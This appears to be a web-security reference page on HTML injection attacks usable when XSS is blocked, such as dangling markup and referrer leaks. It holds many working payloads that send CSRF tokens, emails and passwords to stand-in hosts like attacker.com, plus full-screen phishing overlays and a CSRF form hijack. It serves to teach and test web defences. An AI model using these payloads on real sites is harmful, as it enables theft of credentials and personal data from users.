HTML Injection
Tricks possible with malicious HTML, in case XSS is not quite possible
Last updated
Tricks possible with malicious HTML, in case XSS is not quite possible
Last updated
The idea of Dangling Markup is to write incomplete HTML that slots sensitive information into some leakable field, such as an <img src=
. By starting it with a '
but not ending it, any other HTML will be appended to it, finally being close by a natural '
anywhere below the injection point.
<img src='//attacker-website.com?
<img src='https://attacker.com?</div>
<input type="hidden" name="csrf" value="1337">
</form>
<p>I'm hacked? Oh no!</p>
This results in an image request to the following URL, which the attacker can decode to get the value of the sensitive CSRF token:
You may also find a scenario where there is no double or single quote after the data you want to leak, but if the data you seek is close enough (eg. without
or >
in between), you could leak it without quotes at all. Below is an example where sensitive data is appended to your input:
<img src=https://attacker.com?SECRET_DATA
<p>Some more text</p>
One annoying thing to work with is that Chromium denies any URLs (or target
values) containing newlines. If the leaked content contains any newlines, as is pretty common for HTML, the attacker cannot receive a request. Minifiers will sometimes remove newlines as they are unnecessary, but more often than not, you will have to deal with this. Firefox still allows newlines in URLs, though, so you're not left without impact.
Another idea is to use <textarea>
, as it will only be closed by the </textarea>
string, or at the end of the document. You can then wrap this in a form to an attacker with a large submit button that leaks the value on click:
<form action="https://attacker.com">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
While this too works on Firefox, Chromium has a protection against this. There needs to be a natural </textarea>
somewhere after your injection point.
Ideas taken from here: https://nzt-48.org/slides/how-to-bypass-the-Content-Security-Policy.pdf
One very creative idea to bypass this restriction without scripts is if <iframe>
tags are allowed with a src=data:
. If this is the case, you can start a document with a UTF-16 charset and start a URL from there. The content after it will still be included in the src=
, but is decoded as UTF-16, creating random chinese characters. The URL will then contain these high unicode characters instead of newlines, so they are allowed.
We'll use a great leak method that automatically closes itself at the end of the document:
<style>*{background-image: url(https://attacker.com?
This is now encoded as UTF-16, and put into an iframe data:
URL:
<iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
Any leak-worthy content can now be added to the end, until a '
closes it off:
<iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
<p>Your email: victim@example.com</p>
<footer>That's all folks!</footer>
In the browser, the content inside the iframe now looks like our injected prefix, with some random characters after it. This causes the background image request to be sent:
The above leak can be decoded back into the original characters by reading the UTF-16 characters as bytes. This is easily done in Python:
from urllib.parse import unquote
leak = "%E3%B0%8A%E3%B9%B0%E6%BD%99%E7%89%B5%E6%94%A0%E6%85%AD%E6%B1%A9%E2%80%BA%E6%A5%B6%E7%91%A3%E6%B5%A9%E6%95%80%E6%85%B8%E7%81%AD%E6%95%AC%E6%8C%AE%E6%B5%AF%E2%BC%BC%E3%B9%B0%E3%B0%8A%E6%BD%A6%E7%91%AF%E7%89%A5%E5%90%BE%E6%85%A8"
print(unquote(leak).encode('utf-16-le').decode("utf-8"))
# b'\n<p>Your email: victim@example.com</p>\n<footer>Tha'
The same can be done by loading a stylesheet from data:
like this (encode):
*{background-image: url(https://attacker.com?
<link rel="stylesheet" href='data:text/css;charset=utf-16,%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
Although note that at this point, you are likely able to leak content through CSS Injection as well.
When you are able to create an iframe with a remote source, the name=
attribute is leakable cross-origin by reading the window.name
variable as the attacker. This may include newlines, even on Chromium, because it is not a URL or target:
<iframe src="https://attacker.com" name='
<p>Your email: victim@example.com</p>
<footer>That's all folks!</footer>
> window.name
'\n<p>Your email: victim@example.com</p>\n<footer>That'
This same attack works with <object data=>
and <embed src=>
tags too, which may have a more lax CSP.
This next trick is for leaking with <textarea>
using a form, while the form-action
CSP directive disallows external hosts. It only works in Chromium, so this requires a natural </textarea>
after the injection point and the sensitive data.
Using the following injection, it is possible to leak the current URL via the Referer request header:
<img src="https://attacker.com" referrerpolicy="unsafe-url">
It will include all query parameters, and we can put sensitive dangled information in there by making a form with a GET method first:
<form action="/referer-leak" method="GET">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
<div class="note">
<textarea></textarea>
</div>
This action=
points to the location where the second referer-leaking HTML injection is stored. After clicking anywhere, the form submits and the value of the textarea is put into the ?leak=
query parameter. This allows it to be leaked by the referer payload:
This will trigger the following request, that the attacker can decode to find the leaked information:
GET / HTTP/1.1
Host: attacker.com
Referer: https://target.com/vulnerable?html=%3Cimg+src%3Dhttps%3A%2F%2Fattacker.com+referrerpolicy%3Dunsafe-url%3E&leak=%3Cp%3EYour+email%3A+victim%40example.com%3C%2Fp%3E%0D%0A%3Cdiv+class%3D%22write-note%22%3E%0D%0A++%3Ctextarea%3E
If the HTML-injection is reflected with a GET parameter, you can elegantly include this parameter in the form submission to the vulnerable endpoint:
<form action="" method="GET">
<input type="hidden" name="html" value="<img src=https://attacker.com referrerpolicy=unsafe-url>">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
<div class="note">
<textarea></textarea>
</div>
It will redirect the victim to the current path with query parameters like:
Then, the same as with the stored example happens, the injected referer payload leaks the current URL with &leak=
, and the attacker can decode it from their server logs.
If you can inject <style>
tags, check out the following page on how to abuse that to leak other content on the page through selectors and fonts:
In case you can only set the style=
attribute, you cannot work with selectors or define fonts. This limits your abilities, but still allows two main ideas:
Set specific styles to full-screen any element you want, like an image to phish the user with a message and QR code, or even an iframe as explained in Iframes.
Use background-image: url(...)
to trigger a subresource request that can return a malicious Link:
header as explained in HTML Injection.
The Referer:
request header is sent by default for every request, containing the url the request was sent from. It means that something as simple as clicking a link going to an attacker from a target's domain, will leak the target's domain on which the link was clicked to the attacker.
Well, that's how it used to work. Nowadays the defaults are more sensible, only sending the origin of the target instead of the full path and query parameters. This is controlled by the Referrer-Policy
.
Query parameters can be very sensitive in situations like the "OAuth dirty dance" technique, where you place the authorization code on a URL without using it, then leak it to use for yourself. Leakage through the Referer:
header still has potential if you are able to alter the referrer policy.
The most straight-forward way would be to use a CRLF / Header Injection to set it as a header:
Referrer-Policy: unsafe-url
This situation is unlikely though, something more common is the ability to insert limited HTML on a page. You can use this to alter the referrer policy using a <meta>
tag:
<meta name="referrer" content="unsafe-url">
You'd now need to load any resource from an attacker's domain (like an <img>
), and the whole current URL with parameters is sent to the attacker.
When the CSP is in the way, a <meta http-equiv="Refresh">
cannot be blocked:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'none'
Content-Type: text/html
<meta name="referrer" content="unsafe-url">
<meta http-equiv="Refresh" content="0,url=https://example.com">
Interestingly, the <meta>
tag applies to the whole page, even during DOMParser.parseFromString()
(without inserting into the DOM, only on Chromium). This means client-side sanitizers that use this parsing function will accidentally apply the referrer policy before it can be sanitized!
It allows a very simple way to leak the current URL through DOMPurify:
<meta name="referrer" content="unsafe-url">
<!-- Even though the above is sanitized away, it still applies to image that is left over -->
<img src="https://attacker.com">
Individual elements can also be altered using the referrerpolicy=
attribute. This is useful if you have an attacker-controlled resource:
<img src="http://attacker.com" referrerpolicy="unsafe-url">
The <meta>
tag and referrerpolicy=
methods don't work on Firefox, as it denies less restricted policies via HTML for cross-site requests. Unless you are able to retrieve the Referer header from a same-site in any way, of course.
For more elements that request a certain URL and that you may control to send a referer to, check out the repository below with all known ways:
When cross-site connections to your attacker's server aren't allowed by a CSP, for example, you may be able to use an <iframe>
with a srcdoc=
or src=data:
. This allows you to provide an inline document that will handle the request, and can read document.referrer
.
<!-- If you are able to inject this, you'll be same-origin with the parent anyway -->
<iframe srcdoc="<script>alert(document.referrer)</script>" referrerpolicy="unsafe-url"></iframe>
<!-- Even though data: normally gets a 'null' origin, it can still read referrer -->
<iframe src="data:text/html,<script>alert(document.referrer)</script>" referrerpolicy="unsafe-url"></iframe>
This next trick was a Chrome bug shared by @slonser 🐘 fixed in version 136.
The referrer policy for a preload request that you give in a Link:
response header to any subresource that goes to your server, will be applied to the current documentt.
What this means is that all you need is for the target to load an <img>
that points to your server, and you can return the following response header:
Link: </leak>; rel=preload; as=image; referrerpolicy=unsafe-url
Above you can see an image being loaded cross-origin that responds with the mentioned Link:
header. In the /leak
requests that the preload asks for, the unsafe referrerpolicy=
will be applied!
This works for any subresource request to an attacker's domain, including things like stylesheet @import
or @font-face
if the CSP blocks images.
<style>
@import "https://attacker.com/link"; /* Required to be at the start of style tag */
@font-face {
font-family: "leak";
src: url(https://attacker.com/link); /* Works from anywhere */
}
* {
font-family: leak;
}
</style>
One idea is to use DOM Clobbering, which is a technique that uses id
's and other attributes of tags that make them accessible from JavaScript with the document.<name>
syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case:
This can commonly be used to overwrite existing functions and crash them, or pollute element properties during HTML sanitization (example of parentNode
& example of attributes
).
HTML is markup, so you can often use this to gain control over the page you are attacking in order to phish any users coming across it.
Combining an <iframe>
with <style>
, you can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.
<iframe src="https://attacker.com"></iframe>
<style>
/* Make it take over the full screen, while still keeping a trusted address bar */
iframe {
width: 100vw;
height: 100vh;
position: fixed;
top: 0;
left: 0;
border: none;
}
</style>
Having your site iframes on a target also gives you a reference to it via top
. Firstly, you can redirect the top-level page by setting its location =
:
<script>
top.location = "https://attacker-phishing.com"
</script>
If your injection is stored, it can be pretty convincing to suddenly be brought to a phishing page of the same application while browsing said application.
It also allows you to trigger .postMessage()
handlers for all kinds of exploitation. Read more details on the page below:
The previous phishing example is less likely to work on victims using a password manager, because the iframe is hosted on a different domain, it won't auto-complete like the user might be expecting. This can be improved by creating the phishing page natively inside your injection point.
Simply create a form with some inputs and a bunch of CSS (tip: re-use existing classes), recreating the real login page as closely as possible. But importantly, change the action=
to your attacker's domain in order to receive the credentials. It may look something like this:
<div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
z-index: 999999; background: white">
<div class="d-flex flex-column h-100 justify-content-center align-items-center">
<h1>Login</h1>
<form action="https://attacker.com">
<input class="form-control" type="text" name="username" placeholder="Username..." autofocus>
<input class="form-control" type="text" name="password" placeholder="Password...">
<button class="btn btn-primary" type="submit">Submit</button>
</form>
</div>
</div>
Because this HTML is hosted on the target directly, password managers with auto-fill functionality will not know the difference between this and the real thing!
Apart from leaking form inputs, you can also use forms to send specific requests form a trusted source. This can bypass checks like SameSite=
cookies, the Origin:
header or even CSRF tokens if JavaScript automatically adds them to any form on the page.
<input>
In rare cases it is possible to hijack existing forms to do what you want. For example, take the following source code and injection point, where we're able to add arguments:
<form action="/login" method="post">
<input type="text" name="username">
<input type="text" name="password">
<button type="submit" class="INJECTION_HERE">Submit</button>
</form>
An injection like " formaction="https://attacker.com
would cause pressing the button to send credentials to attacker.com
instead:
<button type="submit" class="" formaction="https://attacker.com">Submit</button>
Another trick is to use the form=
attribute to attach an <input>
outside of any form to the form with that id=
. If that already has a CSRF token, you can add any values to it, which will be trusted when submitting. To get more use out of it, you can add another button with relative formaction=
that rewrites the destination, while retaining the CSRF token from the other form.
This effectively creates a perfect CSRF:
<form id="search-form" action="/search" method="post">
<input type="text" name="csrf" value="1337">
<input type="hidden" name="query" value="">
<button type="submit">Search</button>
</form>
<!-- Injection: -->
<input form="search-form" type="text" name="password" value="hacked">
<button form="search-form" formaction="/reset_password" type="submit"
style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
z-index: 999999; opacity: 0"></button>
When clicking anywhere on the page, this sends a request like the following:
POST /reset_password HTTP/1.1
Host: target.com
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
csrf=1337&query=&password=hacked
Check out the page below for more details on exploitation of CSRF:
<textarea>